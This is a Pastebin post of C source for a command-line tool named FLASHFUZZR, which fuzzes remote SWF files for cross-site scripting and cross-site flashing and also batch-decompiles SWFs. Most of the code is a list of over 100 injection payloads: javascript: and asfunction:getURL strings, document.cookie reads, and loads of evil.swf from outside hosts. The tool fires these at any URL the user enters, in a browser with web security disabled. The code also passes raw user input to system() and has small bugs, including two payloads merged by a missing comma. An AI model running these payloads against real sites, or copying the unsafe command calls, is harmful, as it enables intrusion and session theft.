Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <dirent.h>
- #include <malloc.h>
- #pragma GCC diagnostic push
- #pragma GCC diagnostic ignored "-Wunused-result"
- #pragma GCC diagnostic ignored "-Wformat"
- #pragma GCC diagnostic pop
- /*********************************************************************************
- * ___ _ ___ ___ _ _ ___ _ _ ____ ____ ___ *
- * | __| | | / \ / __| | || | | __| | | | | |_ / |_ / | _ \ *
- * | _| | |__ | - | \__ \ | __ | | _| | |_| | / / / / | / *
- * _|_|_ |____| |_|_| |___/ |_||_| _|_|_ \___/ /___| /___| |_|_\ *
- *_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|*
- *"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'*
- * *
- **********************************************************************************
- * Version 1.0 - Written by MLT * Usage: *
- * * *
- * Dependencies: Linux * Follow the on-screen instructions *
- * gnome-www-browser* Supply SWF as URL only *
- * Flare * Ensure that you're using a linux *
- * * system with Flare *
- * I am not responsible for this* installed. *
- * tool being used for illegal * *
- * or malicious purposes * I will be writing a Windows port for *
- * * this at some point, but for now this *
- * P.S: I know this is written * is designed for linux. *
- * in a sloppy manner, but it * *
- * gets the job done regardless * you'll need to ensure you input the *
- * * correct full path for directory for *
- * complition tested w/ gcc/g++ * your flare install *
- * (c11/gnu11 std) * *
- **********************************************************************************
- * protip: remember to enable flash in firefox (its disabled by default) *
- * gnome-www-browser will launch your default browser, chrome is best choice *
- * *
- * make sure you have your browser already open with a few tabs open before *
- * running the program, FULL README is located at bottom of the source *
- *********************************************************************************/
- void clear()
- {
- int x;
- for ( x = 0; x < 10; x++ )
- {
- printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"); // too gay for system("cls") or clrscr();
- }
- }
- int main(void)
- {
- DIR *path;
- FILE *fp;
- struct dirent *ptr;
- int primaryInput, helpMenuInput, usageInput, usrInput, fuzzInput, finalInput;
- int j = 0;
- int num = 0;
- char* files[20]; // modify this if necessary
- char in[150], url[150], dir[100], cmd[1000], flare[1000], buff[1000], buffer[1000], line_count[50];
- char the_vectors[129][1000] = {
- "'#alert(1337)'",
- "'#prompt(1)'",
- "'#confirm(1)'",
- "'#prompt`1`'",
- "'#confirm`1`'",
- "'?alert(/XSS/)'",
- "'?prompt(/XSS/)'",
- "'?confirm(/XSS/)'",
- "'?prompt`XSS`'",
- "'?confirm`XSS`'",
- "'#javascript:confirm(1)'",
- "'#javascript:prompt(1)'",
- "'#javascript:alert(1337)'",
- "'#javascript:confirm(1)//'",
- "'#javascript:prompt(1)//'",
- "'#javascript:alert(1)//'",
- "'#javascript:confirm`xss`'",
- "'#javascript:prompt`xss`'",
- "'?javascript:alert(1337)'",
- "'?javascript:prompt(1)'",
- "'?javascript:confirm(1)'",
- "'?javascript:prompt`xss`'",
- "'?javascript:confirm`xss`'",
- "'#getURL(javascript:alert(/XSS/))'",
- "'#getURL(javascript:prompt(/XSS/))'",
- "'#getURL(javascript:confirm(/XSS/))'",
- "'#asfunction:getURL,javascript:alert(1337)//'",
- "'#asfunction:getURL,javascript:prompt(0)//'",
- "'#asfunction:getURL,javascript:confirm(1337)//'",
- "'#asfunction:getURL,javascript:prompt`xss`//'",
- "'#asfunction:getURL,javascript:confirm`xss`//'",
- "'?asfunction:getURL,javascript:alert(1)//'",
- "'?asfunction:getURL,javascript:prompt(1)//'",
- "'?asfunction:getURL,javascript:confirm(1)//'",
- "'?asfunction:getURL,javascript:prompt`1`//'",
- "'?asfunction:getURL,javascript:confirm`1`//'",
- "'#getURL,javascript:alert(1)'",
- "'#getURL,javascript:prompt(1)'",
- "'#getURL,javascript:confirm(1)'",
- "'#getURL,javascript:prompt`1`'",
- "'#getURL,javascript:confirm`1`'",
- "'?getURL(javascript:prompt(/XSS/))'",
- "'?getURL(javascript:confirm(/XSS/))'",
- "'?getURL,javascript:alert(1)'",
- "'?getURL,javascript:prompt(1)'",
- "'?getURL,javascript:confirm(1)'",
- "'?getURL,javascript:prompt`1`'",
- "'?getURL,javascript:confirm`1`'",
- "'?goto,javascript:prompt(1)'",
- "'?goto,javascript:confirm(1)'",
- "'?goto,javascript:prompt`x`'",
- "'?goto,javascript:confirm`x`'",
- "'?clickTAG=javascript:prompt(/xss/)",
- "'?clickTAG=javascript:confirm(/xss/)",
- "'?clickTAG=javascript:prompt`xss`",
- "'?clickTAG=javascript:confirm`xss`",
- "'?url=javascript:prompt(/xss/)'",
- "'?url=javascript:confirm(/xss/)'",
- "'?url=javascript:prompt`xss`'",
- "'?url=javascript:confirm`xss`'",
- "'?clickTAG=javascript:prompt(/xss/)&TargetAS='",
- "'?clickTAG=javascript:confirm(/xss/)&TargetAS='",
- "'?clickTAG=javascript:prompt`xss`&TargetAS='",
- "'?clickTAG=javascript:confirm`xss`&TargetAS='",
- "'?TargetAS=javascript:prompt(/xss/)'",
- "'?TargetAS=javascript:confirm(/xss/)'",
- "'?TargetAS=javascript:confirm`x`'",
- "'?mode=tags&tagcloud=<tags><a+href=\"javascript:alert(document.cookie)\"+style=\"font-size:+40pt\">Click me</a></tags>'",
- "'?mode=tags&tagcloud=<tags><a+href=\"javascript:prompt(document.cookie)\"+style=\"font-size:+40pt\">Click me</a></tags>'",
- "'?mode=tags&tagcloud=<tags><a+href=\"javascript:confirm(document.cookie)\"+style=\"font-size:+40pt\">Click me</a></tags>'",
- "'?mode=tags&tagcloud=<tags><a+href=\"javascript:alert`1`\"+style=\"font-size:+40pt\">Click me</a></tags>'",
- "'?mode=tags&tagcloud=<tags><a+href=\"javascript:prompt`1`\"+style=\"font-size:+40pt\">Click me</a></tags>'",
- "'?mode=tags&tagcloud=<tags><a+href=\"javascript:confirm`1`\"+style=\"font-size:+40pt\">Click me</a></tags>'",
- "'?mode=tags&tagcloud=<tags><a+href=\"http://google.com\"+style=\"font-size:+40pt\">Click me</a></tags>'",
- "'?mode=tags&tagcloud=<tags><a+href=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg==\"+style=\"font-size:+40pt\">Click me</a></tags>'",
- "'?baseurl=asfunction:getURL,javascript:prompt(1)//'",
- "'?baseurl=asfunction:getURL,javascript:confirm(1)//'",
- "'?baseurl=asfunction:getURL,javascript:confirm`1`//'",
- "'?URI=javascript:prompt(/xss/)'",
- "'?URI=javascript:confirm(/xss/)'",
- "'?getURLValue=javascript:confirm(0)'",
- "'?base=javascript:prompt(0)'",
- "'?base=javascript:confirm`0`'",
- "'?URI=javascript:prompt(/xss/)'",
- "'?URI=javascript:confirm`xss`'",
- "'?URL=javascript:prompt(/xss/)'",
- "'?callback=javascript:prompt(/xss/)'",
- "'?callback=javascript:confirm`xss`'",
- "'?getURLValue=javascript:prompt(/xss/)'",
- "'?getURLValue=javascript:confirm`xss`'",
- "'?getURLValue=http://evil.com'",
- "'?getURLValue=//www.evil.com'",
- "'?getUrlBlankVar=javascript:prompt(0)'",
- "'?getUrlBlankVar=javascript:confirm`0`'",
- "'?getUrlParentVar=javascript:prompt(0)'",
- "'?getUrlParentVar=javascript:confirm(0)'",
- "'?getUrlJSParam=\');function eval(a){}prompt(0)//'"
- "'?getUrlJSParam=');confirm(0)//'",
- "'?goto=javascript:confirm(/xss/)'",
- "'?pg=javascript:prompt(/xss/)'",
- "'?page=javascript:alert(/xss/)'",
- "'?skinName=https://sites.google.com/site/rcannings2/DoKnowEvil'",
- "'?skinName=asfunction:getURL,javascript:alert(1)//'",
- "'?skinName=asfunction:getURL,javascript:confirm`1`//'",
- "'?debugMode=1&dataURL=%%27><img+src%3D\"https://rcannings.googlepages.com/'",
- "'?\"><img+src=\"http://rcannings.googlepages.com/DoKnowEvil.swf?.jpg\">'",
- "'?onend=javascript:prompt(1)//'",
- "'?onend=javascript:confirm(1)//'",
- "'?onend=javascript:confirm`1`//'",
- "'?\");function%%20someFunction(a){}prompt(1)//'",
- "'?\");function%%20someFunction(a){}confirm(1)//'",
- "'?a=1:0;prompt(0)//'",
- "'?a=1:0;alert(0)//'",
- "'?a=1:0;confirm`0`//'",
- "'?loadMovieVar=http://test.com/evil.swf'",
- "'?loadMovieNumVar=http://test.com/evil.swf'",
- "'?loadMovieVar=javascript:prompt(0)'",
- "'?loadMovieVar=javascript:cofirm(0)'",
- "'?loadMovieVar=javascript:alert`0`'",
- "'?xmlLoadVar=asfunction:getURL,javascript:prompt(0)'",
- "'?xmlLoadVar=asfunction:getURL,javascript:confirm(0)'",
- "'?xmlLoadVar=asfunction:getURL,javascript:alert`0`'",
- "'?htmlVar=<a href=\"asfunction:getURL,javascript:prompt(0)\"> Click here</a>'",
- "'?htmlVar=<a href=\"asfunction:getURL,javascript:confirm(0)\"> Click here</a>'",
- "'?htmlVar=<a href=\"asfunction:getURL,javascript:alert`0`\"> Click here</a>'",
- "'?htmlVar=a<img src=\'evil.swf\' />'",
- "'?fontVar=\"><img src=\"evil.swf\"><\"'",
- "'?externalInterfaceVar=confirm(0)'",
- "'?externalInterfaceVar=prompt`0`'",
- };
- /**********************************************
- * will update with moar vectors sometime soon *
- * if anyone has any contributions then feel *
- * free to contact me via email *
- **********************************************/
- MainMenu: // LOL YEP
- printf("\n\n 1011101110+-------------------------------------------------------------------------------------------------+1010010011\n");
- printf(" 0000011100| [ FLASHFUZZR ] |0111110010\n");
- printf(" 0001110010| |1010100111\n");
- printf(" 0001111101| Automated GET-Based XSS/XSF Fuzzer for SWF's |0110111010\n");
- printf(" 0100110000| Version 1.0 - Written by MLT (@ret2libc) |1001100001\n");
- printf(" 1010011111| |1010011010\n");
- printf(" 0001110110| Contact me: [email protected] |0010011111\n");
- printf(" 1011001010| |1001101110\n");
- printf(" 0110101110| |0001101001\n");
- printf(" 1011110100| |0001000100\n");
- printf(" 0101010111| Type '1' to display instructions |0111010000\n");
- printf(" 1100111101| |1010101101\n");
- printf(" 1101111110| .-~*~--,. .-. |0011011000\n");
- printf(" 1110111010| .-~-. ./OOOOOOOOO\\.'OOO`9~~-. |0101101101\n");
- printf(" 0110001010| .`OOOOOO.OOM.OLSONOOOOO@@OOOOOO\\ |0000110111\n");
- printf(" 1101100000| /OOOO@@@OO@@@OO@@@OOO@@@@@@@@OOOO`. |1001001111\n");
- printf(" 0000010010| |OO@@@WWWW@@@@OOWWW@WWWW@@@@@@@OOOO). |0000000001\n");
- printf(" 1111011101| .-'OO@@@@WW@@@W@WWWWWWWWOOWW@@@@@OOOOOO} |1110011110\n");
- printf(" 0011101001| /OOO@@O@@@@W@@@@@OOWWWWWOOWOO@@@OOO@@@OO| |1101101001\n");
- printf(" 1111001000| lOOO@@@OO@@@WWWWWWW\\OWWWO\\WWWOOOOOO@@@O.' |1000100000\n");
- printf(" 1011000001| \\OOO@@@OOO@@@@@@OOW\\ \\WWWW@@@@@@@O'. |0010000000\n");
- printf(" 1000100101| `,OO@@@OOOOOOOOOOWW\\ \\WWWW@@@@@@OOO) |1111100100\n");
- printf(" 1001000000| \\,O@@@@@OOOOOOWWWWW\\ \\WW@@@@@OOOO.' |1010111100\n");
- printf(" 0110101001| `~c~8~@@@@WWW@@W\\ \\WOO|\\UO-~' |1111001010\n");
- printf(" 1100111110| (OWWWWWW@/\\W\\ ___\\WO) |1001000001\n");
- printf(" 1111111000| `~-~'' \\ \\WW=*' |0100001001\n");
- printf(" 0001110111| __\\ \\ |1010000111\n");
- printf(" 1111000011| \\ \\ |0101110101\n");
- printf(" 0110000100| \\ __\\ |1011010010\n");
- printf(" 1111010101| \\ \\ |0011010110\n");
- printf(" 0110000010| \\ \\ |1010100110\n");
- printf(" 0101110100| \\ \\ |0110110110\n");
- printf(" 1100100011| \\ \\ |1100110110\n");
- printf(" 0001110011| \\ \\ |0110001001\n");
- printf(" 0111011100| \\ \\ |0100001111\n");
- printf(" 0000001011| \\_\\ |0011111110\n");
- printf(" 1000110000| |0001101111\n");
- printf(" 0110110100+-------------------------------------------------------------------------------------------------+1011010000\n\n\n");
- scanf("%d", &primaryInput);
- if (primaryInput == 1)
- {
- HelpMenu:
- clear();
- printf("\n\n 1011101110+-------------------------------------------------------------------------------------------------+1010010011\n");
- printf(" 0000011100| [ FLASHFUZZR ] |0111110010\n");
- printf(" 0001110010| |1010100111\n");
- printf(" 0001111101| Help Menu |0110111010\n");
- printf(" 1010011111| OPTIONS: |1010011010\n");
- printf(" 0110101110| |0001101001\n");
- printf(" 0110101110| 1 - Usage Guide |0001101001\n");
- printf(" 0110101110| 2 - Fuzz for XSS/XSF |0001101001\n");
- printf(" 0110101110| 3 - Decompile SWF |0001101001\n");
- printf(" 0110101110| 4 - Return to start page |0001101001\n");
- printf(" 0110101110| |0001101001\n");
- printf(" 0110101110| [ Select an option to continue ] |0001101001\n");
- printf(" 0110110100+-------------------------------------------------------------------------------------------------+1011010000\n\n\n");
- }
- else if (primaryInput != 1)
- {
- clear();
- fprintf(stderr, "\nRead the instructions next time!\n");
- fprintf(stderr, "\nProgram closing!\n");
- exit(0);
- /*************************
- * worst error handling in*
- * existence because i'm *
- * fkn lazy :) *
- *************************/
- }
- scanf("%d", &helpMenuInput);
- if (helpMenuInput == 1)
- {
- clear();
- printf("\n\n 1011101110+-------------------------------------------------------------------------------------------------+1010010011\n");
- printf(" 0000011100| [ FLASHFUZZR ] |0111110010\n");
- printf(" 0001110010| |1010100111\n");
- printf(" 0001111101| Usage Guide |0110111010\n");
- printf(" 0001110010| |1010100111\n");
- printf(" 0001110010| To fuzz an SWF for XSS/XSF simply navigate to the help menu then select |1010100111\n");
- printf(" 0001111101| the 'fuzz for XSS/XSF' option' and input the remote URL to the SWF file |0110111010\n");
- printf(" 0001110010| when instructed - firefox will then begin to open browser windows and |1010100111\n");
- printf(" 0001110010| begin fuzzing for vulns. |1010100111\n");
- printf(" 0001110010| |1010100111\n");
- printf(" 0001110010| To decompile an SWF, navigate to the help menu and select the 'decompile |1010100111\n");
- printf(" 0001110010| SWF' option and follow the instructions on screen |1010100111\n");
- printf(" 0001110010| |1010100111\n");
- printf(" 0001110010| Dependencies: |1010100111\n");
- printf(" 0001110010| |1010100111\n");
- printf(" 0001110010| - Mozilla Firefox |1010100111\n");
- printf(" 0001110010| - Linux |1010100111\n");
- printf(" 0001110010| - Flare |1010100111\n");
- printf(" 0001110010| |1010100111\n");
- printf(" 0001110010| Type '1' to return to help menu |1010100111\n");
- printf(" 0110110100+-------------------------------------------------------------------------------------------------+1011010000\n\n\n");
- scanf("%d", &usageInput);
- if (usageInput == 1)
- {
- clear();
- goto HelpMenu; // sue me :)
- }
- }
- else if (helpMenuInput == 2)
- {
- clear();
- printf("\n\n 1011101110+-------------------------------------------------------------------------------------------------+1010010011\n");
- printf(" 0000011100| [ FLASHFUZZR ] |0111110010\n");
- printf(" 0001110010| |1010100111\n");
- printf(" 0001111101| Begin Fuzzing |0110111010\n");
- printf(" 0001110010| |1010100111\n");
- printf(" 0001110010| In order to begin fuzzing for vulnerabilities, please enter the direct |1010100111\n");
- printf(" 0001111101| link to the remote URL below and hit the 'enter' key to confirm. Ensure |0110111010\n");
- printf(" 0001110010| that firefox is installed and that the URL to the SWF you're testing is |1010100111\n");
- printf(" 0001110010| correctly typed. |1010100111\n");
- printf(" 0001110010| |1010100111\n");
- printf(" 0001110010| ENTER PATH TO SWF URL: |1010100111\n");
- printf(" 0001110010| |1010100111\n");
- printf(" 0001110010| Type '1' to return to help menu |1010100111\n");
- printf(" 0110110100+-------------------------------------------------------------------------------------------------+1011010000\n\n\n");
- scanf("%d", &usrInput);
- if (usrInput == 1)
- {
- clear();
- goto HelpMenu; // sue me :)
- }
- scanf("%s", url);
- printf("\n\n\n\n\n [+] Fuzzing initiated on: %s [+]\n\n\n\n\n", url);
- size_t i = 0;
- for (i = 0; i < sizeof(the_vectors) / sizeof(the_vectors[0]); i++)
- {
- snprintf(buffer, sizeof buffer, "%s%s", url, the_vectors[i]);
- snprintf(cmd, sizeof cmd, "%s%s", "gnome-www-browser --disable-web-security ", buffer);
- system("sleep .10");
- system(cmd);
- clear();
- }
- printf("\n\n\n\n\n [+] Fuzzing on: %s complete [+]\n\n\n\n\n", url);
- printf(" check each browser tab to see if any vulns are present\n\n\n");
- printf("\n Enter '1' to exit the program, or alternatively enter '2' to return to the main menu\n\n\n");
- scanf("%d", &fuzzInput);
- if (fuzzInput == 1)
- {
- printf("\nProgram closing!\n\n\n");
- exit(0);
- }
- if (fuzzInput == 2)
- {
- clear();
- goto MainMenu; // sue me :)
- }
- else if (fuzzInput != 1 || fuzzInput != 2)
- {
- clear();
- fprintf(stderr, "\nRead the instructions next time!\n");
- fprintf(stderr, "\nProgram closing!\n\n\n");
- exit(0);
- /*************************
- * worst error handling in*
- * existence because i'm *
- * fkn lazy :) *
- *************************/
- }
- }
- else if (helpMenuInput == 3)
- {
- clear();
- printf("\n\n 1011101110+-------------------------------------------------------------------------------------------------+1010010011\n");
- printf(" 0000011100| [ FLASHFUZZR ] |0111110010\n");
- printf(" 0001110010| |1010100111\n");
- printf(" 0001111101| SWF Decompiler |0110111010\n");
- printf(" 1010011111| |1010011010\n");
- printf(" 0110101110| Remember to modify opendir(); to the path for your 'flare' directory |0001101001\n");
- printf(" 0110101110| Enter any key to begin decompilation |0001101001\n");
- printf(" 0110110100+-------------------------------------------------------------------------------------------------+1011010000\n\n\n");
- /******************************************
- * make sure to follow the installation *
- * instructions for flare and when running *
- * this program specify the full path to *
- * the directory where you unpacked the *
- * tarball for flare. *
- * *
- * you should also ensure that you have *
- * the SWF files that you wish to decompile*
- * stored within this same directory *
- * *
- * I didn't bother implementing proper err *
- * handling for this, so if you fuck up you*
- * won't be warned. Follow the instructions*
- * and it should work fine :) *
- ******************************************/
- getchar();
- clear();
- printf("\nEnter the path to the directory of your flare install:\n\n\n");
- scanf("%s", dir);
- if ((path = opendir (dir)) != NULL)
- {
- while ((ptr = readdir (path)) != NULL)
- {
- if (ptr->d_name[0] != '.')
- {
- printf ("%s\n", ptr->d_name);
- fp = fopen("listing.txt", "aw+");
- strcpy(in, ptr->d_name);
- strcat(in, "\n");
- fputs(in, fp);
- fclose(fp);
- }
- }
- closedir(path);
- }
- else
- {
- fprintf(stderr, "\nInvalid directory\n");
- }
- fp = fopen("listing.txt", "r");
- while(fgets(line_count, sizeof line_count, fp)!=NULL)
- {
- files[j]=malloc(sizeof(line_count));
- strcpy(files[j],line_count);
- j++;
- num++;
- }
- for (int x=0 ; x < num+1; x++)
- {
- if (files[x] != '\0')
- {
- printf("Performing decompilation on: \n%s", files[x]);
- size_t y = 0;
- for (y = 0; y < sizeof(files) / sizeof(files[0]); y++)
- {
- snprintf(buff, sizeof buff, "%s", files[y]);
- snprintf(flare, sizeof flare, "%s%s", "./flare ", buff);
- system(flare);
- clear();
- }
- }
- }
- fclose(fp);
- system("rm listing.txt");
- clear();
- printf("\nDecompilation complete!\n\n\n");
- printf("\nEnter '1' to exit the program, or alternatively enter '2' to return to the main menu\n\n\n");
- scanf("%d", &finalInput);
- if (finalInput == 1)
- {
- printf("\nProgram closing!\n\n\n");
- exit(0);
- }
- if (finalInput == 2)
- {
- clear();
- goto MainMenu; // sue me :)
- }
- }
- if (helpMenuInput == 4)
- {
- clear();
- goto MainMenu; // sue me :)
- }
- else if (helpMenuInput != 1 || helpMenuInput != 2 || helpMenuInput != 3 || helpMenuInput != 4)
- {
- clear();
- fprintf(stderr, "\nRead the instructions next time!\n");
- fprintf(stderr, "\nProgram closing!\n\n\n");
- exit(0);
- /*************************
- * worst error handling in*
- * existence because i'm *
- * fkn lazy :) *
- *************************/
- }
- return 0;
- }
- /*************************************************************************************************
- * README: Full list of dependancies and errors you may encounter *
- **************************************************************************************************
- * *
- * The purpose of this program is to allow you to easily perform blackbox + whitebox testing on *
- * SWF files for vulns such as cross site scripting and cross site flashing. *
- * In addition to this, I've also added some functionality for decompilation of SWF's. *
- * *
- * I noticed flare (probably the most basic command-line flash decompiler) is very limited in *
- * what you can do with it, so I've added a feature here to allow you to specify a directory and *
- * have flare automatically decompile every SWF file within that directory so you can then view *
- * the .flr files and begin to analyze the code for bugs. *
- * *
- * There are a few dependancies, for now this is working only for linux, you'll need to ensure *
- * that you have gnome-www-browser installed as i'm using this as an alternative to xdg-open due *
- * to extra functionality when launching a URL. *
- * *
- * In order to have the SWF decompilation feature working properly, you'll have to ensure you *
- * specify the correct directory where your flare install is located when prompted *
- * *
- * you'll also want to modify the size of files[] as appropriate (assuming you're decompiling *
- * more than 20 files at once) *
- * *
- * In order to install flare, download the tarball from here: *
- * http://www.nowrap.de/download/flare06linux.tgz *
- * *
- * I'm making this launch browser processes rather than opening a socket because this greatly *
- * reduces (100% reduction) false positives and allows you to see the results in real time *
- * *
- * I suggest using google chrome for this, firefox will probably be buggy. Before you run this *
- * program, make sure you already have google chrome open with more than one tab opened. *
- * *
- * If you experience any issues with chrome not opening each instance in a new tab instantly, then*
- * run the following command then try again: *
- * *
- * pkill -9 chrome *
- * *
- * if there's still an issue, try running this: *
- * *
- * for i in `pgrep chrome` ; do kill $i ; sleep .10 ; done" *
- * *
- * I didnt bother implementing proper error handling for the CLI-based menu (as you can prob tell)*
- * Just make sure to follow the on-screen instructions and you shouldn't have any problems. *
- * *
- * also i'm aware this is probably vulnerable to BoF and is also passing user inputs to system(); *
- * but I see no real risk here. If you wanna perform RCE or BoF ON YOUR OWN SYSTEM LOCALLY then *
- * be my guest. *
- * *
- * ensure that you have write privs for the area you're running this in. *
- * *
- * to compile and execute: *
- * gcc -o flashfuzz flashfuzz.c -std=gnu11 *
- * ./flashfuzz *
- * *
- *************************************************************************************************/
Add Comment
Please, Sign In to add comment